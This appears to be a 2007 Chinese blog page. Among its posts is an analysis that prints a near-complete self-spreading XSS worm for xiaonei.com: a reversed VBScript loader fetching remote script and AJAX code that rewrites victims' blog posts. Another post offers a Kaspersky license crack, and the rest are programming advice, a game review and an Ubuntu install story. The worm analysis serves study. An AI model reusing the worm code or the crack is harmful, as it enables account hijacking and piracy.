2007年10月21日

破解卡巴6&7,从此不必再找Key!

以前我一直用这个破解kis 6.0,已经用了几个月了,很好用。
今天终于找到它的支持kis/kav 6&7全系列的版本了!
似乎这里还有不少问key,所以赶紧拿来和大家分享!

强烈推荐!
从此真的不必再四处找key了。

方法:
1、关掉卡巴的自我保护。
2、退出卡巴。
3、把这个文件拷贝到卡巴的安装目录中。
4、点选两个钩,执行破译。

破解后随便找个key(过期也没关系)注册,即可永久使用。
使用年数可自定。一般择默认20年就足够了。
选更大的年限,只是有人会看得爽。呵。
下面是我破解7的信息。
       下载文件破解卡巴6&7,从此不必再找Key.rar (353.38 KB , 下载:226次)

  • » 阅读全文...
  • 做程序员的基本原则

      1. 扎实的基础。数据结构、离散数学、编译原理,这些是所有计算机科学的基础,如果不掌握他们,很难写出高水平的程序。据我的观察,学计算机专业的人比学其他专业的人更能写出高质量的软件。程序人人都会写,但当你发现写到一定程度很难再提高的时候,就应该想想是不是要回过头来学学这些最基本的理论。不要一开始就去学OOP,即使你再精通OOP,遇到一些基本算法的时候可能也会束手无策。

      2. 丰富的想象力。不要拘泥于固定的思维方式,遇到问题的时候要多想几种解决问题的方案,试试别人从没想过的方法。丰富的想象力是建立在丰富的知识的基础上,除计算机以外,多涉猎其他的学科,比如天文、物理、数学等等。另外,多看科幻电影也是一个很好的途径。

      3. 最简单的是最好的。这也许是所有科学都遵循的一条准则,如此复杂的质能互换原理在爱因斯坦眼里不过是一个简单得不能再简单的公式:E=mc2。简单的方法更容易被人理解,更容易实现,也更容易维护。遇到问题时要优先考虑最简单的方案,只有简单方案不能满足要求时再考虑复杂的方案。

      4. 不钻牛角尖。当你遇到障碍的时候,不妨暂时远离电脑,看看窗外的风景,听听轻音乐,和朋友聊聊天。当我遇到难题的时候会去玩游戏,而且是那种极暴力的打斗类游戏,当负责游戏的那部分大脑细胞极度亢奋的时候,负责编程的那部分大脑细胞就得到了充分的休息。当重新开始工作的时候,我会发现那些难题现在竟然可以迎刃而解。

      5. 对答案的渴求。人类自然科学的发展史就是一个渴求得到答案的过程,即使只能知道答案的一小部分也值得我们去付出。只要你坚定信念,一定要找到问题的答案,你才会付出精力去探索,即使最后没有得到答案,在过程中你也会学到很多东西。

      6. 多与别人交流。三人行必有我师,也许在一次和别人不经意的谈话中,就可以迸出灵感的火花。多上上网,看看别人对同一问题的看法,会给你很大的启发。

      7. 良好的编程风格。注意养成良好的习惯,代码的缩进编排,变量的命名规则要始终保持一致。大家都知道如何排除代码中错误,却往往忽视了对注释的排错。注释是程序的一个重要组成部分,它可以使你的代码更容易理解,而如果代码已经清楚地表达了你的思想,就不必再加注释了,如果注释和代码不一致,那就更加糟糕。

      8. 韧性和毅力。这也许是"高手"和一般程序员最大的区别。高手们并不是天才,他们是在无数个日日夜夜中磨练出来的。成功能给我们带来无比的喜悦,但过程却是无比的枯燥乏味。你不妨做个测试,找个10000以内的素数表,把它们全都抄下来,然后再检查三遍,如果能够不间断地完成这一工作,你就可以满足这一条。

  • » 阅读全文...
  • 怎样成为一名程序员

    通过以下4个阶段的训练, 没有任何编程基础人就可以成为一名普通的程序员。

    第一阶段:掌握一种编程语言

    学习内容:学习任意一种主流的编程语言。例如C++语言。

    学习目标:熟练掌握一种语言的语法和基本的编程技巧。

    学习时间:3个月左右

    注意事项:编程语言和编程工具是两回事情,编程语言是指C++、Basic、Object Pascal等
    程序设计语言,它们是像汉语、英语一样的抽象的语法规则,编程工具是指
    Visual C++ 6.0、Visual Basic 6.0、Delphi 7.0等包括了源代码编辑器、程序编译器
    在内的集成化、可视化的软件开发工具。C++源程序可以在Visual C++ 6.0里编写,也可以在
    记事本里编写,而同一个C++源程序可以用Visual C++ 6.0编译、执行,也可以用C++ Builder 5.0
    编译、执行,所以: C++ 不等于 Visual C++ 6.0

    第二阶段:掌握一种编程工具

    学习内容:学习任意一种主流的编程工具。注意编程工具要和第一阶段学习的编程语言一致,例如你学习的
    编程语言是C++,那么编程工具要选Visual C++ 6.0或者C++ Builder 5.0。

    学习目标:熟练掌握这种编程工具基本用法,例如:菜单、组件、程序跟踪调试、编写Windows程序等。

    学习时间:3个月左右

    注意事项:这个阶段侧重编程工具的使用,同时进一步熟习编程语言,最后达到能熟练编写各种基本的Windows程序。

    第三阶段:掌握“算法与数据结构”这门课程

    学习内容:算法与数据结构,推荐许卓群的《数据结构》,高等教育出版社出版。

    学习目标:熟练掌握各种常用的算法与数据结构

    学习时间:4个月左右

    注意事项:这是一门不可或缺的软件开发课程,曾经有一本经典计算机专业书籍叫做《数据结构+算法=程序》,
    这说明了数据结构和算法的重要性。它能帮我们建立良好的程序分析与设计能力。

    第四阶段:实现一个模拟的小型软件项目

    学习内容:软件项目的开发过程

    学习目标:掌握软件项目的基本开发过程和方法

    学习时间:4个月左右

    注意事项:自己完成一个模拟的小型软件项目,强烈推荐做一个MIS(管理信息系统)软件,参考用书推荐
    “中小型信息管理系统开发实例系列丛书”,人民邮电出版社,它的例子详实有效,
    以它为基础再加以扩展,就可以做出实用的MIS软件来。
    此丛书包括多种开发工具,大家可以选择适合自己的:《VISUAL FOXPRO6.0 数据库系统开发实例导航》
    《JAVA数据库系统开发实例导航》 《VISUAL BASIC数据库系统开发实例导航》
    《VISUAL C++6.0数据库系统开发实例导航》 《ASP.NET数据库管理系统开发实例导航》
    《DELPHI数据库系统开发实例导航》 《POWERBUILDER 8.0数据库系统开发实例导航》。
    最后将完成的模拟软件刻成光盘,作为自己的作品去面试,以此踏上自己光辉的职业程序员之路!祝大家一路顺风!

  • » 阅读全文...
  • 怎样成为一个程序高手呢?

      我每天都要收到很多的朋友来信。有不少的网友经常问我:面对众多的开发工具/语言,我该选择哪一个?怎样才能学好一门语言?怎样才能算是一个真正的程序高手?……

      首先,我不算是一个什么程序高手,我也就半吊子水晃晃荡荡。我不太喜欢“程序高手”这个词,最多,只能算是一名“熟炼的开发者”而已,很多时候亦是半懂不懂。我编程是靠自学的,没有人教,也没有人问。因此走了不少弯路。当然现在看来,那些走过的弯路也算是一种积累。从 1994 开始, 我所使用的开发工具是这样一个经历:1994: GWBASIC, 1995: FOXBASE, TC, 1996: VFP, VB, PB, DELPHI, 1999: VC++, PHP。总的说来,各种开发工具各有秋千,应根据具体应用来采用不同的工具。例如写MIS用PB/VB,界面设计用VB/Delphi,写系统软件,用C/C++是最好的,做网站,有 PHP, ASP, JSP等等。对于初学者来说,先用一种可视化强的工具(如VFP/VB/DELPHI)比较好,容易掌握,上手也快。但如果你想走更深入一引起,我建议你还是很有必要去精通C/C++,甚至了解一些汇编。

      有人说,C/C++太难学了,开发效率也不高。我先不说C/C++优越于其他语言的地方(这在很多的资料中都有介绍),就单从一个很功利的角度来说说。Delphi/ VB对于一般人来说学上几个月就可以上手了。易学的东西学的人肯定多。而对于C来说,由于它难掌握,学的人不火,但一旦你真正掌握了,你的竞争实力就比其他人强。现实中,C程序员的工资普遍高于其他程序员就是一个证明。

      就我个人认为,程序员不应该拘泥于某个特定的语言,每天为某个开发工具的优劣争来争去是没有意义的。重要的只有两点:

     

    1. 你用的开发工具能解决你所遇到的实际问题吗?实用为王,适合的,能用的,就是最好的。
    2. 你喜欢这个开发工具吗?兴趣,兴趣才是最重要的。选择你所喜欢的。

      那么,怎样跨越程序新手这道坎呢?下面这几点建议也许对你可能有些帮助:

     

    1. 遇到问题时从所有你能想到的方面考虑去试图解决;
       
    2. 一定多动手,学一个专题(如网络/多媒体)后写一个软件检验自己;
       
    3. 用好联机文档(如MSDN)查询函数和资料,利用网络资源;
       
    4. 掌握好的跟踪调试技巧,多看一些高手的程序,从本质上理解;
      ……

      说白了,要想成为一名熟炼的开发者,就是最大限度的利用现有的资源,然后加上你的汗水。没有什么稀奇的。

  • » 阅读全文...
  • 2007年10月20日

    一个不为人知的感染几百万校内网用户的蠕虫分析

    文章作者:langouster
    信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

    在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

     <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

    以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:

     set s=document.createElement("script")
     s.src=http://www.sosoface.com/images/xnjs.jpg
     document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

    在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
    值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
    http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

    从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。

    下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:

     var req = null;
     var step=null;
     var DiaryMonthUrlList="",DiaryUrlList="";
     var timer=null;
     var bIsBusy=false;

     var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

     function my_HtmlDecode(str)
     {
     str=str.replace(/</g,"<");
     str=str.replace(/>/g,">");
     str=str.replace(/&/g,"&");
     str=str.replace(/ /g," ");
     str=str.replace(/"/g,""");
     str=str.replace(/<br>/g,"n");
     str=str.replace(/#/g,"#");
     str=str.replace(/(/g,"(");
     str=str.replace(/)/g,")");
     str=str.replace(/"/g,""");
     str=str.replace(/'/g,"'");
     str=str.replace(/#/g,"#");
     str=str.replace(/(/g,"(");
     str=str.replace(/)/g,")");
     str=str.replace(/"/g,""");
     str=str.replace(/'/g,"'");
     return str;
     }
     function processReqChange()
     {
     if (req.readyState == 4 && req.status == 200 )
     {
     if("WriteIframe"==step)
     {
     var text,len,i=0,j=0,temp;
     
     text=req.responseText;
     i=text.indexOf("<div class="article">",0);
     if(-1==i){return}
     i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
     if(-1==i){return}
     j=text.indexOf(""",i);
     if(-1==j){return}
     text=text.substring(i,j);
     
     document.getElementById("mya113").style.background="#FFFFFF";
     var s=document.createElement("iframe");
     s.frameborder="0";
     s.height="0";
     s.width="1";
     s.src=text;
     document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
     }
     else if("GetDiaryMonthList"==step)
     {
     var text,len,i=0,j=0,temp;
     //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中
     //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
     text=req.responseText;
     i=text.indexOf("<div id="list-archive">",0);
     if(-1==i){return}
     j=text.indexOf("<div class="bottom-box">",i);
     if(-1==j){return}
     text=text.substring(i,j);
     
     i=j=0;
     while(1)
     {
     i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
     if(-1==i)break;
     j=text.indexOf("'>",i);
     if(-1==j)break;
     temp=text.substring(i,j);
     i+=temp.length;
     temp=my_HtmlDecode(temp)+"|";
     DiaryMonthUrlList+=temp;
     }
     if(DiaryMonthUrlList.length<=1)
     {
     return;
     }
     
     step="GetDiaryList";
     req=null;
     bIsBusy=false;
     timer=window.setInterval(GetStatus,1000);
     }
     else if("GetDiaryList"==step)
     {
     var text,len,i,j,temp,temp2;
     var text2="http://blog.xiaonei.com/EditEntry.do?id=";
     
     //text的内容就和用户点了“日志存档”后的内容一样
     //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,
     //看本函数下面else if("GetDiaryText"==step)就是了
     text=req.responseText;
     
     len=text.length;
     i=text.indexOf("<div id="list-article">");
     if(-1==i)
     {
     req=null;
     bIsBusy=false;
     return;
     }
     j=text.indexOf("</table>",i);
     if(-1==j)
     {
     req=null;
     bIsBusy=false;
     return;
     }
     text=text.substring(i,j);
     i=j=0;
     
     
     while(1)
     {
     j=0;
     len=0;
     j=DiaryUrlList.indexOf("|",j);
     while(j!=-1)
     {
     j++;
     len++;
     j=DiaryUrlList.indexOf("|",j);
     }
     
     if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
     {
     break;
     }
     
     i=text.indexOf(text2,i);
     if(-1==i)
     {
     break;
     }
     i+=text2.length;
     j=text.indexOf("">",i);
     if(-1==j || j-i>10)
     {
     break;
     }
     temp=text2+text.substring(i,j)+"|";
     DiaryUrlList+=temp;
     }
     req=null;
     bIsBusy=false;
     }
     else if("GetDiaryText"==step)
     {
     var text,len,i,j;
     var argv;
     var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;
     
     
     text=req.responseText;
     //这个模块模拟用户编辑日志,在每篇日志的开关都加上
     //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>
     
     i=text.indexOf("<form action="http://upload.xiaonei.com/EditEntry.do"",0);
     
     if(-1==i)
     {
     return;
     }
     i+=53;
     
     j=text.indexOf("</form>",i);
     if(-1==j)
     {
     return;
     }

     text=text.substring(i,j);
     //------------------------
     
     i=text.indexOf("id="title" class="inputtext" tabindex="1" value="",0);
     if(-1==i)return;
     i+=49;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     title=text.substring(i,j);
     //---
     i=text.indexOf("<textarea name="body" id="body" cols="100%" style="display:none">",0);
     if(-1==i)return;
     i+=65;
     j=text.indexOf("</textarea>",i);
     if(-1==j)return;
     body=text.substring(i,j);
     //---
     i=text.indexOf("id="blog_pic_id" value="",0);
     if(-1==i)return;
     i+=24;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     blog_pic_id=text.substring(i,j);
     //---
     i=text.indexOf("id="pic_path" value="",0);
     if(-1==i)return;
     i+=21;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     pic_path=text.substring(i,j);
     //---
     i=text.indexOf("name="id" value="",0);
     if(-1==i)return;
     i+=17;
     j=text.indexOf("" />",i);
     if(-1==j)return;
     Diaryid=text.substring(i,j);
     //---
     i=text.indexOf("" selected="selected"",0);
     if(-1==i)return;
     j=i-2;
     if(text.substr(j,1)==""")
     j++;
     blogControl=text.substring(j,i);
     
     
     body=my_HtmlDecode(body);
     if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染
     {
     req=null;
     step="GetDiaryText";
     bIsBusy=false;
     
     return;
     }
     else
     {
     ;
     }
     //以上是取日志的各个变量信息
     //以下开头就感染日志并修改
     
     body=MyDecode(myrand)+body;
     //感染日志 在日志的开头加上跨站代码
     //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是
     
     //以下开始POST提交修改过的日志
     argv="";
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="title"";
     argv+=(title+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="body"";
     argv+=(body+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="theFile"; filename=""Content-Type: application/octet-stream";
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blog_pic_id"";
     argv+=(blog_pic_id+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="pic_path"";
     argv+=(pic_path+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="blogControl"";
     argv+=(blogControl+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="id"";
     argv+=(Diaryid+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="relative_optype"";
     argv+=("publisher"+"");
     argv+="-----------------------------7d71861cb014cContent-Disposition: form-data; name="del_relative_id"";
     argv+="-----------------------------7d71861cb014c--";
     
     
     req=null;
     step="EditDiaryText";
     loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);
     

     }
     else if("EditDiaryText"==step)
     {
     
     req=null;
     bIsBusy=false;
     step="GetDiaryText";
     }
     else
     {
     ;
     }
     
     }
     }
     function MyDecode(str)
     {
     var i,k,str2="";
     
     k=str.split(".");
     
     for(i=0;i<k.length;i++)
     {
     str2+=String.fromCharCode(k[i]^0x12);
     }
     return str2;
     }
     function loadUrl( url,method,argv )
     {
     bIsBusy=true;
     if(!req)
     {
     if(window.XMLHttpRequest)
     {
     try
     {
     req = new XMLHttpRequest();
     } catch(e) { req = false; }
     }
     else if(window.ActiveXObject)
     {
     try
     {
     req = new ActiveXObject('Msxml2.XMLHTTP');
     }
     catch(e)
     {
     try
     {
     req = new ActiveXObject('Microsoft.XMLHTTP');
     } catch(e) { req = false; }
     }
     }
     }
     if(req)
     {
     req.onreadystatechange = processReqChange;
     try
     {
     req.open(method, url, true);
     if(method=="POST")
     req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
     req.send(argv);
     }catch(e)
     {
     req=false;
     }
     }
     }
     function GetStatus()
     {
     if(bIsBusy)return;
     
     if("GetDiaryList"==step)
     {
     var DiaryMonthUrl,i;
     
     //取出每个月的日志列表
     if(DiaryMonthUrlList.length<=1)
     {
     step="GetDiaryText";
     return;
     }
     i=DiaryMonthUrlList.indexOf("|",0);
     if(-1==1)
     {
     step="GetDiaryText";
     return;
     }
     DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
     DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);
     
     //再回到开头的processReqChange函数 此时step还是GetDiaryList
     loadUrl(DiaryMonthUrl,"GET","");

     }
     else if("GetDiaryText"==step)
     {
     var DiaryUrl,i;
     if(DiaryUrlList.length<=1)
     {
     clearInterval(timer);
     return;
     }
     
     i=DiaryUrlList.indexOf("|",0);
     if(-1==i)
     {
     clearInterval(timer);
     return;
     }

     DiaryUrl=DiaryUrlList.substring(0,i);
     DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

     loadUrl(DiaryUrl,"GET","");
     }
     }
     function WriteStat()
     {
     var s=document.createElement("iframe");
     s.frameborder="0";
     s.height="0";
     s.width="0";
     s.src="http://www.sosoface.com/images/stat.jpg";
     document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

     }

     function DeleteScript(html)
     {
     var i=0,j=0,str;
     
     str=html;

     i=str.indexOf("</A>",0);
     if(-1==i)
     return str;
     i+=4;
     str=str.substring(i,str.length);

     return str;
     }
     function EditorSubmit()
     {
     var ret=false;
     parent.parent.descOptype();
     ret=parent.parent.beforeSubmit();

     parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

     return ret;
     }
     function Start()
     {
     //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的
     if("blog.xiaonei.com"==document.domain)
     {
     //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做
     if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
     {
     parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
     }
     else
     {
     
     WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手
     //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档
     step="GetDiaryMonthList";
     loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
     //下面跳到开头的processReqChange函数
     }
     }
     else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
     {
     //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
     //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,
     //作者这样做应该是为了一访问别人的主页就能感染
     var url="";
     
     url=document.location.toString();
     if(url.indexOf("&")==-1)
     return;
     step="WriteIframe";
     loadUrl(url,"GET","");
     }
     }

     Start();

  • » 阅读全文...
  • 发现一个有趣的网站

    今天在网上闲逛时经朋友推荐发现了一个有趣的网站


    这是一个用flash技术做的网络游戏,但是跟我们目前接触的在线flash游戏又有很多不同,应该是一个交友类的游戏。首先它的画风很独特,可以用中国的成语夜黑风高来形容,在左边的截图中你可以看到漫天星空下一个人独自站在草地上,那就是本人啦。当然并不是这个游戏人气不高,我是为了拍照专门挑了个没人的地方:)

    进入这个网站后,根据提示选择一个人物然后给自己定一个昵称就可以开始游戏了。你不仅可以在地上跑还可以飞到天上,如果你想泄气可以找个人打一架,如果你的心情比较好还可以跟别人跳段舞。刚刚进去时我不知道怎么跳舞,来了个老外邀请我跳舞,我告诉他我不会,叫他告诉我怎么跳。这个人告诉我按ctrl+w,当我按下ctrl+w时我发现这是网页关闭键。。。气死我了,马上进去叫上我的同事们一起把他揍了半个小时,如果你想跳舞我先告诉大家热键就是ctrl+home,千万别被骗了:)


    不过好人还是有的,不一会就又有个老外找我聊天,他自称是美国的,然后我用蹩脚的外语告诉他"I'm Chinese"。为了不给我们国人丢脸,我大量使用国际通行的简写,让他觉得我是个老鸟。从他的口中我得知这个站点最多有36个人在线,而且是一个获得过Flash优秀设计奖的作品。后来又来了个欧洲人跟我探讨全球变暖的问题,我觉得这个话题所涉及的词汇不是我等菜鸟可以对付的,找了个借口就飞到天上跑了。。。


    总体来说这个网站的感觉还是不错的,但是如果你打算在里面交到朋友还是需要花点精力的。我经常看到几个老外满屏幕追一个MM。不过聊一聊天,练练英语倒是一个好去处。

  • » 阅读全文...
  • 在WindowsXP下从硬盘安装Ubuntu双系统

    在WindowsXP下从硬盘安装Ubuntu双系统 前几天突然间头脑发热,一时冲动决定安装Linux,系统选择的是现在最流行的Ubuntu5.04,但是手边又没有Ubuntu的安装盘,于是就采用了在XP下从硬盘安装的方法。具体操作见:  http://www.ubuntu.org.cn/support/documentation/doc/installformxp安装之前仔细得把注意事项和安装说明看了一下,觉得应该不会有什么问题,而且之前还在虚拟机上成功得安装过Ubuntu。不过当时还是把E盘的所有存档文件都备份到康子的电脑上,由于按照安装说明操作对C、D盘没有影响,于是没有备份。

      系统初始状况: OS:WindowsXP+SP2

    盘符:
     
    C
     
    D
     
    E
     
    大小:
     
    5G
     
    8G
     
    21.5G
     
    格式:
     
    NTFS
     
    NTFS NTFS

      为了安装Ubuntu,在把E盘备份后在XP里用磁盘管理将E盘删掉,然后新建了一个16G的FAT32分区作为E盘,剩下的空间用于安装Ubuntu。

      坎坷的安装历程:

    1. 第一次安装。由于从硬盘安装ISO文件要在FAT分区下,所以ISO文件放在E盘,按照上面的方法开始安装,在安装的过程中惊奇的发现在Linux中我的硬盘第一次被识别为标称的40G,那2.3G被联想用来做一键恢复系统的隐藏分区竟然被揪出来了。那个一键还原对我来说就是垃圾,从来没用过,现在猛然多出2.3G的空间当然很开心,于是把预留的空间和这2.3G空间全部分给了Ubuntu。安装过程一切顺利,最后一步安装 grub的时候也识别出了已安装的WindowsXP,于是就一路Next,结束安装。可是在安装结束重启的时候加载grub的时候就停在了那儿,显示 error 18,什么系统也进不去。无语了,好在手边有一张买杂志时送的启动工具盘,用DOS进去之后发现原来新建的那个E盘莫名其妙的变成了C盘,而原先的C、D 盘则变成了D盘E盘。当时缺少经验误以为是C盘为NTFS所致,于是打算把盘全格了重新装一遍XP,分区全部选FAT32。可是想不到的是用XP安装盘安装的时候,它竟然识别出硬盘的大小却无法写入。无奈之下再用工具盘里的Disk Genius把所有的分区都删了,当时比较冲动,也没有冷静的想想那些需要备份,好在几天前刚做了一次备份,损失不是很大,不过还是丢了一些比较重要的资料。不管好歹,终于可以安装Windows了。
      盘符:
       
      C
       
      D
       
      E
       
      /hda6
       
      /hda7
       
      大小:
       
      5G
       
      8G
       
      16G
       
      5G
       
      0.5G
       
      格式:
       
      FAT32
       
      FAT32
       
      FAT32
       
      ReiserFS Swap
       

    • 第二次安装。这次安装的时候就预先把XP里的分区都分好了,大小和上面的一样,留下了靠近6G的空闲空间给Ubuntu。顺利装好XP,由于做好了再次重装的准备,什么也没做就开始装Ubuntu了。这次把硬盘安装要的一堆东西全部扔在C盘,安装过程和上面一次相同。结果也差不多,开机之后不是error18了,变成error17,我ft!

       

    • 第三次安装。这时已经比较火大,决定先在虚拟机上装个双系统试试。人倒霉的时候喝凉水都塞牙,在VMware上装XP的时候竟然装了一半安装盘出了问题,我kao!换了一张盘给XP和Ubuntu各分了4G的空间,很顺利的装好了,也很顺利的启动了,grub一点问题都没有。邪门了!(PS:裸机跑VMware的感觉真爽)  
       
    • 第四次安装。这时学聪明了,想到以前有人说过Linux不能安装在8G之后的分区上,否则不能启动。不过在BBS上看到大家都说现在的BIOS版本不存在这个问题,而且Ubuntu的安装说明也没有提到这一点,看LinuxApp版上大家都装在8G之后也没什么问题,难道我人品特别差?不管了,这次装XP的时候就只给C盘分了5G的空间,剩下的全部空在那儿。安装过程还是波澜不惊,等到要结束安装grub时,考虑到每次都是grub出错,就手动把grub安装在/dev/hda1,就是Windows中的C盘。装好之后,忐忑不安得重启,yeah,ubuntu加载成功,激动惨了。激动过后准备到Windows下把补丁什么的打一下的,结果发现进不了Windows了,我吐血!在 grub那一步就变成了死循环,选XP进去还是grub,再选还是grub。郁闷万分的到BBS上一看,看到了这么一段话:

      这种情况我遇到过。。。后果很严重。。。
      出现这种情况的原因是
      setup (hdc*,0)这句并不是将GRUB安装在MBR上
      而是安装在hdc0的分区上,如果window正好装在hdc0
      grub 就破坏了windows的分区,所以造成c盘无法识别
      同时用grub引导启动windows时由于hdc0引导区被grub
      占用,所以启动windows选项会形成循环启动GRUB!!!

      正确用法是setup (hdc)才能将其装在hdc的MBR上!!!

      但如果已经用setup(hdc, 0)执行grub安装
      再次用setup(hdc)就无效了
      我当时没有找到解决办法,只能重装windows

      我郁闷啊!!!继续往下看,觉得柳暗花明又一村,有牛人给出了解决方法:

      用windows盘重新安装,安装开始后重启
      据说就可以了,因为windows好像是先写引导扇区,然后再实际安装,据说

      连忙试了一下,貌似可行,能够成功得进入XP,系统也没什么破坏,但是进不去Ubuntu了,不管了,能保全XP就是万幸了。然后在XP下重新按照上面的方法安装Ubuntu,结果装的过程中说原先安装有Ubuntu的那个分区有数据会影响安装,我也不知道怎么折腾的让它继续下去了,结果最后突然冒出来一个让我选择内核的提示,被我顺手取消掉了,安装过程貌似很正常的结束了。重启之后两个系统都能很正常得进入,把我激动得在宿舍里大喊大叫。可是没高兴多久就发现Ubuntu系统极不稳定,X界面不断得重启,估计是内核没装好,无奈之下,我只好再次用工具盘里的分区工具把那两个分区给格了,然后重装了一遍 Ubuntu,总算一切正常了。

      盘符:
       
      C
       
      /hda2
       
      /hda3
       
      /hda4
       
      大小:
       
      5G 5G
       
      0.5G
       
      24G
       
      格式:
       
      FAT32
       
      ReiserFS Swap
       
       

      可是新的问题又出现了,我发现在XP的磁盘管理里,剩下的那24G空间只能分成一个分区,这也忒郁闷了,再次出动工具盘,用Disk Genius把剩下的那24G空间成功得分成了16G和8G两个FAT32分区,更新分区表,保存,成功!等到重启时才发现由于更新了分区表,grub又坏了,什么也进不去了,我基本上崩溃了……                                                      

      第五次安装。有了前面这N次的经验教训,我已基本知道该怎么做了。首先先用Disk Genius把所有的分区全部删除,然后用XP的安装盘建立了如下分区:

      盘符:
       
      C
       
      D
       
      E
       
      F
       
      大小:
       
      5G
       
      5.5G
       
      8G
       
      16G
       
      格式:
       
      FAT32
       
           

      然后在C盘上安装Windows,安装结束后在Windows下安装Ubuntu,将其安装在原先划分的D分区上,把D分区分为主分区和交换分区两部分,默认安装grub,结束安装,这次,终于真正的成功了。安装之后硬盘的分区情况如下:

      盘符:
       
      C
       
      /hda2
       
      /hda3
       
      D
       
      E
       
      大小:
       
      5G
       
      5G
       
      0.5G
       
      8G
       
      16G
       
      格式:
       
      FAT32
       
      ReiserFS Swap FAT32 FAT32

        经验教训:

